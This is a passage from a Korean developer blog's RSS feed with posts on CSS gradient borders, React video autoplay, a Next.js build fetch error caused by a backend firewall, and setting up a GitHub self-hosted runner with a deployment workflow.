//height: available;&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 뭐 문제라기보단 짜잘한것들..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- svg 크기 조절하고싶으면 div로 감싸서 svg 는 100% 주고 겉에 div 크기를 맥여주기&lt;br /&gt;- text-shadow, box-shadow 등등 있는데 , 자연스러운건 drop-shadow 가 제일 괜찮다는거&lt;br /&gt;- span 나란히 두개 있을때 다음줄로 넘어가는거 , parent 에 display : inline-block 맥여주면 해결&lt;br /&gt;- font-family : Roboto 안먹힐때 font-family: 'Roboto Sans', sans-serif; 로 넣으면 해결&lt;br /&gt;- box 테두리랑, 내용 그라디언트 추가하는 문제 (이거 좀 많이 짜증났음, 아래 html css 코드 참고)&lt;br /&gt;별거 아니라 생각했는데 생각보다 box border, content 둘다 gradient 추가하면서 radius 까지 넣는거 ㅋㅋㅋ&lt;br /&gt;좀 까다롭더라 ㅎㅎㅎㅎ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbw73l/btsGHF8Xw8W/AA7jpHjo9jdERtlhBULrG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbw73l/btsGHF8Xw8W/AA7jpHjo9jdERtlhBULrG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbw73l/btsGHF8Xw8W/AA7jpHjo9jdERtlhBULrG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcbw73l%2FbtsGHF8Xw8W%2FAA7jpHjo9jdERtlhBULrG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;254&quot; height=&quot;241&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1713401898364&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;style&amp;gt;
  html {
    height: 100%;
    width: 100%;
  }

  .box{
    width:538px;
    height:510px;
    padding: 4px;
    border-radius: 20px;
    background-image:linear-gradient(rgba(97,97,97, 1) 0%,rgba(0, 0, 0, .5) 100%)
                    ,linear-gradient(0deg, transparent 30%, #9E9E9E 70%);
    background-origin: border-box;
    background-clip: content-box, border-box;
    box-shadow: 0px 10px 40px 0px rgba(0, 0, 0, 0.25);
  }

  .text{
    color:white;
  }
  
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
  &amp;lt;div class=&quot;box&quot;&amp;gt;
    &amp;lt;div class=&quot;text&quot;&amp;gt;왜 나한테만 기준이 엄격한데?&amp;lt;/div&amp;gt;    
  &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/React.js</category>
      <category>border gradient</category>
      <category>font family roboto</category>
      <category>mobile height 100%</category>
      <category>react css</category>
      <category>react key 재렌더링</category>
      <category>react 렌더링 key</category>
      <category>크롬 roboto</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/215</guid>
      <comments>https://bug41.tistory.com/entry/React-html-css-%EC%9E%91%EC%97%85-%EB%8F%84%EC%A4%91-%EB%A9%94%EB%AA%A8-%EC%9E%AC%EB%A0%8C%EB%8D%94%EB%A7%81-key-%EB%AA%A8%EB%B0%94%EC%9D%BC-height-100-border-gradient-%EB%93%B1%EB%93%B1#entry215comment</comments>
      <pubDate>Thu, 18 Apr 2024 10:00:47 +0900</pubDate>
    </item>
    <item>
      <title>[React] Video 태그 영상 자동재생</title>
      <link>https://bug41.tistory.com/entry/React-Video-%ED%83%9C%EA%B7%B8-%EC%98%81%EC%83%81-%EC%9E%90%EB%8F%99%EC%9E%AC%EC%83%9D</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4IO9H/btsGzjkvDJH/Wry9jqf3pZ85sCnvbakWZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4IO9H/btsGzjkvDJH/Wry9jqf3pZ85sCnvbakWZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4IO9H/btsGzjkvDJH/Wry9jqf3pZ85sCnvbakWZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4IO9H%2FbtsGzjkvDJH%2FWry9jqf3pZ85sCnvbakWZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;126&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영상 백그라운드로 자동재생해야 되게끔 조정을 해야했는데, 될때 있고 안될때 있어서 이것저것 쑤셔넣어서 실험하다가&lt;br /&gt;아마 아래껄로 진행 할듯 함&lt;br /&gt;위 에러는 &lt;b&gt;&quot;the play() request was interrupted by a call to pause()&quot;&amp;nbsp;&lt;/b&gt; 뭔가 아직 준비 안됐는데 어거지로 작동시키려해서 나는 에러 같아서 settimeout 추가&lt;br /&gt;그 이후로는 에러 발생 안했음&lt;/p&gt;
&lt;pre id=&quot;code_1712897930285&quot; class=&quot;javascript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;const videoRef = useRef(null);

...생략...

useEffect(() =&amp;gt; {
    setTimeout(()=&amp;gt;{        
        const video = videoRef.current;
        if (video) {
        const playPromise = video.play();
        if (playPromise !== undefined) {
            playPromise.then(_ =&amp;gt; {                
                console.log('성공')              
            }).catch(error =&amp;gt; {
                console.log('실패')              
                console.error('Video playback failed:', error);
            });
        } 
        }
        return () =&amp;gt; {          
        if (video) {
            //console.log('리턴')
            video.pause();
            video.currentTime = 0;
        }
        };
    }, 1000)
}, []);

...생략...

&amp;lt;VideoContainer&amp;gt;
    &amp;lt;Video
        ref={videoRef}
        autoPlay
        loop
        webkit-playsinline=&quot;true&quot;
        muted
        playsInline
        preload=&quot;auto&quot;                
    &amp;gt;        
        &amp;lt;source src=&quot;/images/bg/pv_saga.mp4&quot; type=&quot;video/mp4&quot; /&amp;gt;
        {/* &amp;lt;source src=&quot;img/video.webm&quot; type=&quot;video/webm&quot; /&amp;gt; */}
        Your browser is not supported!
    &amp;lt;/Video&amp;gt;
&amp;lt;/VideoContainer&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 useEffect 까지 굳이 안쓰고도 위 처럼 넣은 Video 옵션들만으로도 충분히 영상 재생은 잘 되는듯한데 이 부분은 좀 더 테스트 진행해봐야 될듯함&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>react비디오</category>
      <category>브라우저영상자동재생</category>
      <category>브라우저영상재생</category>
      <category>비디오자동재생</category>
      <category>웹사이트video</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/214</guid>
      <comments>https://bug41.tistory.com/entry/React-Video-%ED%83%9C%EA%B7%B8-%EC%98%81%EC%83%81-%EC%9E%90%EB%8F%99%EC%9E%AC%EC%83%9D#entry214comment</comments>
      <pubDate>Fri, 12 Apr 2024 14:01:39 +0900</pubDate>
    </item>
    <item>
      <title>[Next.js] nextjs build 시 TypeError fetch failed 발생</title>
      <link>https://bug41.tistory.com/entry/Nextjs-nextjs-build-%EC%8B%9C-TypeError-fetch-failed-%EB%B0%9C%EC%83%9D</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyJYqw/btsDxio9EFT/Ulk8Ce3k4U4Pw4EzLPUDY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyJYqw/btsDxio9EFT/Ulk8Ce3k4U4Pw4EzLPUDY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyJYqw/btsDxio9EFT/Ulk8Ce3k4U4Pw4EzLPUDY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyJYqw%2FbtsDxio9EFT%2FUlk8Ce3k4U4Pw4EzLPUDY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;246&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;build 시 계속 위와같은 에러가 발생&lt;br /&gt;로컬에서는 잘만되는데 서버에 올려서 build 만 하면 저렇게 떴다&lt;br /&gt;처음에는 도대체 api 부분에 뭐가 문제여서 저러는지 이해가 안됐다&lt;/p&gt;
&lt;pre id=&quot;code_1705454213821&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Error occurred prerendering page &quot;/api/getpre&quot;. Read more: https://nextjs.org/docs/messages/prerender-error
TypeError: fetch failed
    at Object.fetch (node:internal/deps/undici/undici:11372:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

   Generating static pages (64/86) 
 ⚠ Entire page /wonderpass deopted into client-side rendering. https://nextjs.org/docs/messages/deopted-into-client-rendering /wonderpass
 ⚠ Entire page /wonderpass/testb4release deopted into client-side rendering. https://nextjs.org/docs/messages/deopted-into-client-rendering /wonderpass/testb4release


&amp;gt; Export encountered errors on following paths:
	/api/getpre/route: /api/getpre
 ✓ Generating static pages (86/86) 
Error: Process completed with exit code 1.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;/api/getpre/route 파일의 내용을 아래와 같이 dynamic 부분을 추가 해줘서 강제로 동적 페이지로 설정하여 빌드시 나오는 에러를 해결 할 수는 있었는데&lt;/p&gt;
&lt;pre id=&quot;code_1705454400914&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { NextResponse } from &quot;next/server&quot;;

//dynamic 추가
export const dynamic = &quot;force-dynamic&quot;;

export async function GET() {
  const href = `${process.env.API_URL}/getApi`;  

  const res = await fetch(href, { cache: &quot;no-store&quot; });
  const data = await res.json();
  return NextResponse.json(data);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;나중에 다른 기능들 테스트 하면서 보니, 애초에 &lt;u&gt;&lt;b&gt;백단 API 에 접근자체를 못해서&lt;/b&gt;&lt;/u&gt; 문제가 있었던거고, 로컬에서 잘됐던 이유는 .env 를 gitignore 에 추가해놓다보니 로컬전용 env 와 , 서버전용 env 가 달라서 잘됐던거였다. (로컬 env 쪽 API URL 은 옛날 링크 잘됐음)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인은 허무하게도 백단 URL 쪽 인스턴스 방화벽 (인바운드,아웃바운드쪽) 문제였고 Allow 해줌으로써 해결됐다&lt;br /&gt;백단 API 접근 잘되는거 확인되어서 혹시나 싶어서 dynamic 부분 주석처리하고 다시 빌드해보니 지금 잘된다.&lt;br /&gt;&lt;br /&gt;사실 지금도 이해가 잘 안가는게, build 할때 fetch 하는 부분을 한번씩 불러봐서 fetch Error 가 뜬건가? 싶기도하고 &lt;br /&gt;그리고 fetch 하는 api 부분이 저기만 있는게 아니고 수십곳가 있는데 다른곳에선 왜 에러가 안났을까?&lt;br /&gt;&lt;br /&gt;마지막으로 동적페이지 설정으로 잘됐던것도 , 동적페이지가 HTML 에 데이터를 추가,가공해서 보여주는건데 데이터를 애초에 못불러왔으니 정적 페이지로 설정해야 됐던거 아닌가 싶은데 왜 동적 페이지로 설정했을때 잘됐는지도 의문이다-0-&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;혼틈 개념정리&lt;br /&gt;고정되서 안움직이는 (고)정적 페이지&lt;br /&gt;유동적으로 움직이며 변경되서 보이는 (유)동적 페이지&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>Dynamic</category>
      <category>force-dynamic</category>
      <category>next build error</category>
      <category>next type error</category>
      <category>nextjs build type error</category>
      <category>nextjs dynamic</category>
      <category>nextjs 빌드시 에러</category>
      <category>넥스트 빌드 에러</category>
      <category>다이나믹 추가</category>
      <category>빌드 type Error</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/213</guid>
      <comments>https://bug41.tistory.com/entry/Nextjs-nextjs-build-%EC%8B%9C-TypeError-fetch-failed-%EB%B0%9C%EC%83%9D#entry213comment</comments>
      <pubDate>Wed, 17 Jan 2024 10:53:45 +0900</pubDate>
    </item>
    <item>
      <title>[Github] 셀프 러너 Github Self hosted Runner 사용하는법 (Feat. 리눅스, 셀프호스트러너)</title>
      <link>https://bug41.tistory.com/entry/Github-%EC%85%80%ED%94%84-%EB%9F%AC%EB%84%88-Github-Self-hosted-Runner-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EB%B2%95-Feat-%EB%A6%AC%EB%88%85%EC%8A%A4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;github action 사용하는법에 대해선 예전에 아래와 같이 포스팅 한적이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://bug41.tistory.com/entry/Github-Github-Actions-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EB%B2%95-SSH-%EC%97%B0%EA%B2%B0&quot;&gt;https://bug41.tistory.com/entry/Github-Github-Actions-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EB%B2%95-SSH-%EC%97%B0%EA%B2%B0&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;외부망이 엄격히 막혀있는 서버지만 배포 프로세스를 갖춰야해서 찾아보다가&lt;br /&gt;세팅 다 마치고 안까먹고자 작성하는 포스팅입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style2&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;셀프러너를 시작하고픈 Repo 의 Settings 에 들어가서 Actions -&amp;gt; Runners 로 진입&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nv0lH/btsDiRlp0QZ/c59HR6OPwJ8twbUysEroa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nv0lH/btsDiRlp0QZ/c59HR6OPwJ8twbUysEroa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nv0lH/btsDiRlp0QZ/c59HR6OPwJ8twbUysEroa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnv0lH%2FbtsDiRlp0QZ%2Fc59HR6OPwJ8twbUysEroa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;339&quot; height=&quot;124&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;New self-hosted runner 진입&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LSScX/btsDllZ8Asr/2iUJZvyCe0x5YEF0OyxmD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LSScX/btsDllZ8Asr/2iUJZvyCe0x5YEF0OyxmD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LSScX/btsDllZ8Asr/2iUJZvyCe0x5YEF0OyxmD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLSScX%2FbtsDllZ8Asr%2F2iUJZvyCe0x5YEF0OyxmD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;810&quot; height=&quot;147&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아래와 같이 나오는데 내가 어디서 돌릴지 macOS, Linux, Windows 중 하나 클릭 하면되고&lt;br /&gt;그에 따른 세팅법이 아주 자세하게 나와있습니다.&lt;br /&gt;&lt;br /&gt;아래 &lt;b&gt;Download&lt;/b&gt;, &lt;b&gt;Configure&lt;/b&gt; 진행해주시면되고 , &lt;br /&gt;Using your self-hosted runner 는 yml 에 작성해주면 되고 actions runner 설치할때 runner 이름 뭘로 하냐에 따라 다르게 입력되는거라 일단 신경 안쓰셔도됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;594&quot; data-origin-height=&quot;688&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBfbSS/btsDnxFvDhe/4DW0iVqc9UMtbexNbzl58K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBfbSS/btsDnxFvDhe/4DW0iVqc9UMtbexNbzl58K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBfbSS/btsDnxFvDhe/4DW0iVqc9UMtbexNbzl58K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBfbSS%2FbtsDnxFvDhe%2F4DW0iVqc9UMtbexNbzl58K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;594&quot; height=&quot;688&quot; data-origin-width=&quot;594&quot; data-origin-height=&quot;688&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차례차례 복붙해서 명령어 실행만 해주면되는데 중간에 shasum:command not found 뭐시기 에러 날 수도 있습니다.&lt;br /&gt;그럼 당황하지말고 그냥 없는거 설치만 해주면됩니다.&lt;br /&gt;아래 2가지 설치 진행하고 이상없이 세팅 끝마침&lt;/p&gt;
&lt;pre id=&quot;code_1705020394576&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;yum install perl-Digest-SHA -y

yum install libicu -y&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 그리고 runner 설치할때 뭐 그룹명 명칭 이런거 입력하라고 하는데 그냥 맘편하게 프로젝트명 써서 진행하셔도 무방합니다.&lt;b&gt; (main.yml 에 들어감)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;정상적으로 세팅이 완료 되었다면 &quot;actions-runner&quot; 폴더가 당연히 생성이 되있고 그 안에 runner 관련 파일들이 쭈루룩 있을건데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byfM4u/btsDkRrl1AS/8YsOJKqBIYdDCJXQvwwCR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byfM4u/btsDkRrl1AS/8YsOJKqBIYdDCJXQvwwCR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byfM4u/btsDkRrl1AS/8YsOJKqBIYdDCJXQvwwCR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyfM4u%2FbtsDkRrl1AS%2F8YsOJKqBIYdDCJXQvwwCR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;344&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행은 ./run.sh 라고 해주시면되는데 이러면 푸티창 계속 켜놔야하니까&lt;br /&gt;아래와 같이 ./log 라는 폴더에 일별 파일명으로 로그도 쌓으면서 백그라운드로 실행을 해놓읍시다.&lt;/p&gt;
&lt;pre id=&quot;code_1705020693073&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; current_date=$(date +&quot;%Y-%m-%d&quot;); ./run.sh &amp;gt; &quot;./log/log_${current_date}.txt&quot; 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이러면 러너 설치 및 실행준비는 끝,&lt;br /&gt;이제 본격적으로 내가 배포하고싶은 프로젝트를 git pull 해서 내 서버에 갖고와야겠죠&lt;br /&gt;&lt;br /&gt;git clone 해서 소스 불러오려하니 계속 username , password 틀렸네 어쨋네 말썽 부리길래 무슨 정책이 바뀌었다는것 같아서 그냥 맘편하게 토큰 생성해갖고 password 에 토큰 값 입력하시면 git clone 이상없이 진행 할 수 있습니다.&lt;br /&gt;토큰은 github 로그인 후 우측상단 메뉴 -&amp;gt; Settings -&amp;gt; Developer Settings -&amp;gt; Personal access tokens -&amp;gt; Tokens(classic)&lt;br /&gt;에서 생성 가능합니다.&lt;br /&gt;&lt;br /&gt;여튼 프로젝트를 clone 해서 가져오면 프로젝트 내의 최상위 경로에 아래와 같이 파일을 생성해줘야하는데&lt;br /&gt;직접 생성해줘도되고 아니면 github repo -&amp;gt; actions -&amp;gt; New workflow -&amp;gt; set up a workflow yourself 에서도 생성 가능합니다.&lt;br /&gt;&lt;br /&gt;두가지 방식의 yml 이 있어서 둘 다 첨부합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1705021000474&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.github/workflows/main.yml&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1705021169085&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#main.yml
name: learn-github-actions  #이름 상관없음
on:
  push:
    branches: #main 브랜치에 푸시 될때마다
      - main 

defaults:
  run:
    working-directory: /home/ec2-user/프로젝트명 #프로젝트 경로

jobs:
  self-runner-testing: #이름 상관없음
    runs-on: [runner 명칭 위에서 프로젝트명으로 지정한거]      
    steps:      
		
      - name: Configure Git
        run: git remote set-url origin https://${{ secrets.TOKEN }}@github.com/${{ secrets.USERNAME }}/[프로젝트 repo명]
        
      - name: git pull 진행
        run: git pull origin main

      - name: npm install --force 실행
        run: npm install --force

      - name: npm run build 실행
        run: npm run build
        
      - name: pm2 restart myWeb 실행
        run: pm2 restart myWeb&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 주석을 보시면 아시겠지만 정말 간단한 yml 파일입니다&lt;br /&gt;main 브랜치에 푸시가 될때마다 아래 경로의 프로젝트에서 선언한 작업들을 처리해라 라는 뜻입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Configure Git 부분을 안해주시면 git pull 할때 매번 username 같은 정보를 입력하라고 합니다.&lt;br /&gt;해당 repo Settings -&amp;gt; Secrets and variables -&amp;gt; Actions -&amp;gt; Actions secrets and variables -&amp;gt; Repository secrets 에서 등록 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqroQd/btsDnuCfO9S/uqAQotFcYL5rpJeK1arCH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqroQd/btsDnuCfO9S/uqAQotFcYL5rpJeK1arCH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqroQd/btsDnuCfO9S/uqAQotFcYL5rpJeK1arCH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqroQd%2FbtsDnuCfO9S%2FuqAQotFcYL5rpJeK1arCH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;797&quot; height=&quot;216&quot; data-origin-width=&quot;797&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;자세한 설명이 필요하시면 포스팅 최상단에 github action 세팅할때 글에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;${{&lt;b&gt;secret.XXX&lt;/b&gt;}}&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;부분을 보시면 됩니다&lt;br /&gt;&lt;br /&gt;이제 제 서버에 러너가 실행되고 있다가 main 브랜치에 푸시가 된것을 감지하면 , 푸시된 새로운 소스들을 자기한테 pull 해서 받아오고,&amp;nbsp; npm install 을 진행후에 , build 를 하고 , pm2 를 재시작 할 겁니다.&lt;br /&gt;&lt;br /&gt;사실 이렇게 세팅을 하니 package.json 이 수정되는게 아니라면 npm install 을 굳이 하지 않아도 되는데 이 부분은 좀 더 &lt;br /&gt;찾아서 보완을 할 수 있을듯 합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;다른 yml&lt;/h3&gt;
